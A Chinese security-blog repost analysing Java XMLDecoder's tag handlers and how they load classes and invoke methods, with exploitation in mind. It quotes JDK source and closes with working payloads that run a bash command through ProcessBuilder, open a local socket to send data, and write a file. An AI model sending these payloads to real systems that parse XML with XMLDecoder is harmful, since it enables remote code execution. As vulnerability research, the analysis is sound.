记录黑客技术中优秀的内容,传播黑客文化,分享黑客技术精华

XMLDecoder语法分析

2020-07-03 10:23

标签

java

  • 标签内属性:class、id、version

    //javaelementhandler继承于elementhandler,因此除了version、class还有id
    public void addAttribute(String var1, String var2) {
    if (!var1.equals("version")) {
    if (var1.equals("class")) {
    this.type = this.getOwner().findClass(var2);
    } else {
    super.addAttribute(var1, var2);
    }
    }

    }
  • 可加载类

    //含有findClass,类含有this.type,表示能将类加载进来
    if (var1.equals("class")) {
    this.type = this.getOwner().findClass(var2);
    }
  • getValue与getValueObject没有直接的可利用点。getValue的返回值为null或者XMLDecoder对象,看标签内有没有写入class属性

    //一般漏洞触发点是:getValueObject方法中调用了getValue方法,而getValue方法中实例化类、传参、调用函数
    //而java标签对应的getValue方法里只是读取对象并返回
    private Object getValue() {
    //this.getOwner()的值为DocumentHandler,DocumentHandler的getOwner()为XMLDecoder对象
    Object var1 = this.getOwner().getOwner();
    if (this.type != null && !this.isValid(var1)) {
    if (var1 instanceof XMLDecoder) {
    XMLDecoder var2 = (XMLDecoder)var1;
    var1 = var2.getOwner();
    if (this.isValid(var1)) {
    //要么返回XMLDecoder的owner对象,默认为空
    return var1;
    }
    }
    //要么出错
    throw new IllegalStateException("Unexpected owner class: " + var1.getClass().getName());
    } else {
    //要么返回XMLDecoder对象
    return var1;
    }
    }
  • <java>标签之间的基础数据(如string)会写入DocumentHandler中的objects,基础数据值即为<java>标签的返回值</java></java>

    protected void addArgument(Object var1) {
    this.getOwner().addObject(var1);
    }

array

  • 标签内属性:length、class、id

    //继承于NewElementHandler,因此还有class与id
    public void addAttribute(String var1, String var2) {
    if (var1.equals("length")) {
    this.length = Integer.valueOf(var2);
    } else {
    super.addAttribute(var1, var2);
    }

    }
  • 可加载类,因为继承于NewElementHandler

  • getValueObject方法要么返回Object对象,要么返回Array类的实例化,因此无法起到像object标签的效果

    protected ValueObject getValueObject(Class<?> var1, Object[] var2) {
    if (var1 == null) {
    var1 = Object.class;
    }

    if (this.length != null) {
    return ValueObjectImpl.create(Array.newInstance(var1, this.length));
    } else {
    Object var3 = Array.newInstance(var1, var2.length);

    for(int var4 = 0; var4 < var2.length; ++var4) {
    Array.set(var3, var4, var2[var4]);
    }

    return ValueObjectImpl.create(var3);
    }
    }
  • 标签返回值为Array类对象

    <array class="test">
    </array>

class

  • 标签内无属性,值写在标签间

  • 可加载类

    @Override
    public Object getValue(String argument) {
    return getOwner().findClass(argument);
    }
  • getValue加载进类

  • 标签返回值为Class 对象

    <class>test</class>

object

  • 标签内属性:class、method、property、field、index、id、idref

    //继承于NewElementHandler
    public final void addAttribute(String var1, String var2) {
    if (var1.equals("idref")) {
    this.idref = var2;
    } else if (var1.equals("field")) {
    this.field = var2;
    } else if (var1.equals("index")) {
    this.index = Integer.valueOf(var2);
    this.addArgument(this.index);
    } else if (var1.equals("property")) {
    this.property = var2;
    } else if (var1.equals("method")) {
    this.method = var2;
    } else {
    super.addAttribute(var1, var2);
    }

    }
  • 可加载类,继承于NewElementHandler

  • getValueObject方法中,若field、idref属性未加载,则可传入以下变量,并调用

    • 类对象(object标签中的class对象 or 父标签返回的对象)
    • object标签之间的部分标签作为方法参数
    • 方法名(set or get or new or method)
    protected final ValueObject getValueObject(Class<?> var1, Object[] var2) throws Exception {
    ...
    else {
    //很关键,var3是传入的类对象
    Object var3 = this.getContextBean();
    String var4;
    //set or get方法
    if (this.index != null) {
    var4 = var2.length == 2 ? "set" : "get";
    } else if (this.property != null) {
    var4 = var2.length == 1 ? "set" : "get";
    if (0 < this.property.length()) {
    //如property值为owner,则方法名var4为setOwner
    var4 = var4 + this.property.substring(0, 1).toUpperCase(Locale.ENGLISH) + this.property.substring(1);
    }
    } else {
    //方法名为method属性值 or new,new为类的构造方法
    var4 = this.method != null && 0 < this.method.length() ? this.method : "new";
    }
    //var3是传入的类对象、var4是方法名、var2是方法参数
    Expression var5 = new Expression(var3, var4, var2);
    //getValue传参并调用
    return ValueObjectImpl.create(var5.getValue());
    }
    }
  • 标签返回值为实例化对象

void

  • 标签内属性:class、method、property、field、index、id、idref
  • 可加载类,VoidElementHandler继承于ObjectElementHandler,ObjectElementHandler继承于NewElementHandler
  • 继承于object,与object有极大的相似性。使用void标签,无论什么形式,都会进入object标签的getValueObject方法
  • 返回值为空

new

  • 标签内属性:class、id

    public void addAttribute(String var1, String var2) {
    if (var1.equals("class")) {
    this.type = this.getOwner().findClass(var2);
    } else {
    super.addAttribute(var1, var2);
    }

    }
  • 可加载类

  • getValueObject方法可传入以下变量,并实例化类

    • 构造函数参数
    ValueObject getValueObject(Class<?> var1, Object[] var2) throws Exception {
    if (var1 == null) {
    throw new IllegalArgumentException("Class name is not set");
    } else {
    //var2为构造函数参数
    Class[] var3 = getArgumentTypes(var2);
    //获取类对应的构造函数
    Constructor var4 = ConstructorFinder.findConstructor(var1, var3);
    if (var4.isVarArgs()) {
    var2 = getArguments(var2, var4.getParameterTypes());
    }
    //实例化类
    return ValueObjectImpl.create(var4.newInstance(var2));
    }
    }
  • 返回值为类对象

field

  • 标签内属性:class、name、id

    public void addAttribute(String name, String value) {
    if (name.equals("class")) { // NON-NLS: the attribute name
    this.type = getOwner().findClass(value);
    } else {
    super.addAttribute(name, value);
    }
    }
  • 可加载类

  • 若class属性在field标签中,得到的是Class对象,因而name只能是static的变量

    <field class="test" name="hhh"></field>

    若field标签之前得到的对象不是Class对象,则name不限制

    <object class="test">
    <field class="test" name="hhh"></field>
    </object>
    private static Field findField(Object var0, String var1) throws NoSuchFieldException {
    //判断是否属于Class对象,是的话寻找类中的static变量,否则寻找类中的所有变量
    return var0 instanceof Class ? FieldFinder.findStaticField((Class)var0, var1) : FieldFinder.findField(var0.getClass(), var1);
    }
  • 返回值为变量对应的对象值

method

  • 标签内属性:class、name、id

  • 可加载类,继承于NewElementHandler

  • getValueObject方法中

    • class属性存在,则加载class,调用class中的static方法,方法名为name属性值
    • class属性不存在,则根据父标签得到Class对象,调用Class对象的方法(无限制),方法名为name属性值
    protected ValueObject getValueObject(Class<?> var1, Object[] var2) throws Exception {
    Object var3 = this.getContextBean();
    Class[] var4 = getArgumentTypes(var2);
    //var1为标签内的class属性,var3是父标签的Class对象
    Method var5 = var1 != null ? MethodFinder.findStaticMethod(var1, this.name, var4) : MethodFinder.findMethod(var3.getClass(), this.name, var4);
    if (var5.isVarArgs()) {
    var2 = getArguments(var2, var5.getParameterTypes());
    }

    Object var6 = MethodUtil.invoke(var5, var3, var2);
    return var5.getReturnType().equals(Void.TYPE) ? ValueObjectImpl.VOID : ValueObjectImpl.create(var6);
    }
  • 返回值为调用函数的返回值

property

  • 标签内属性:index、name、id

  • 不可加载类

  • 可调用setXXX和getXXX方法,name用作索引类中的成员变量,property标签之间表示传入setXXX的参数

    • setXXX方法使用

      <object class="test">
      <property name="xixixi">
      <string>open /etc</string>
      </property>
      </object>
    • getXXX方法使用

      <object class="test">
      <property name="xixixi">
      </property>
      </object>

byte

传入byte[]类型的时候,class不是java.lang.Byte而是byte

<object class="java.net.Socket">
<string>127.0.0.1</string>
<int>6666</int>
<void method="getOutputStream">
<void method="write">
<array class="byte" length="2">
<void index="0">
<byte>49</byte>
</void>
<void index="1">
<byte>49</byte>
</void>
</array>
</void>
</void>
</object>

其余数据类型

var
null
short
int
long
float
double
boolean
true
false
char
string

XML基本语法

以下语句摘自参考链接

  • 每个元素代表一个方法调用
  • 包含元素的元素将这些元素用作参数,除非它们具有标记:“void”。(关键)
  • 方法的名称由“method”属性表示。
  • XML的标准“id”和“idref”属性用于引用先前的表达式 - 以便处理对象图中的圆形。
  • 使用“array”标记写入对数组的引用。“class”和“length”属性分别指定数组的子类型及其长度。

其他

xmldecoder漏洞在getValueObject方法触发

<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
<!-- endElementHandler结束标签并通过this.getValueObject()获取string标签内的数据:/bin/bash -->
</void>
<!-- endElementHandler结束标签,获取到父标签,即上一级标签 -->
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>open /Applications/Calculator.app</string>
</void>
</array>
<!-- endElementHandler结束标签,this.getValueObject()得到string数组 -->
<void method="start">
</void>
<!-- endElementHandler结束标签,this.getValueObject()调用方法 -->
</object>

若标签内存在id属性,则调用this.owner.setVariable(this.id, var1.getValue());存入DocumentHandler的environment变量。

不存在id属性,则调用this.owner.addObject(var1.getValue());存入DocumentHandler的objects变量。

这里的environment不清楚是做什么的,objects变量是标签的返回值。

public void endElement() {
ValueObject var1 = this.getValueObject();
if (!var1.isVoid()) {
if (this.id != null) {
this.owner.setVariable(this.id, var1.getValue());
}

if (this.isArgument()) {
if (this.parent != null) {
this.parent.addArgument(var1.getValue());
} else {
this.owner.addObject(var1.getValue());
}
}
}

}

xml简单利用

执行命令

<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>/Applications/Calculator.app/</string>
</void>
</array>
<void method="start">
</object>

使用套接字,连接127.0.0.1的6666端口并发送数据

<object class="java.net.Socket">
<string>127.0.0.1</string>
<int>6666</int>
<void method="getOutputStream">
<void method="write">
<array class="byte" length="2">
<void index="0">
<byte>49</byte>
</void>
<void index="1">
<byte>49</byte>
</void>
</array>
</void>
</void>
</object>

创建文件并写入

<object class="java.io.PrintWriter">
<void class="java.io.FileOutputStream">
<string>2.txt</string>
</void>
<string>2.txt</string>
<void method="print">
<string>xmldecoder_vul_test</string>
</void>
<void method="close"/>
</object>


知识来源: xz.aliyun.com/t/7944

阅读:18282 | 评论:0 | 标签:无

想收藏或者和大家分享这篇好文章→复制链接地址

“XMLDecoder语法分析”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

ADS

标签云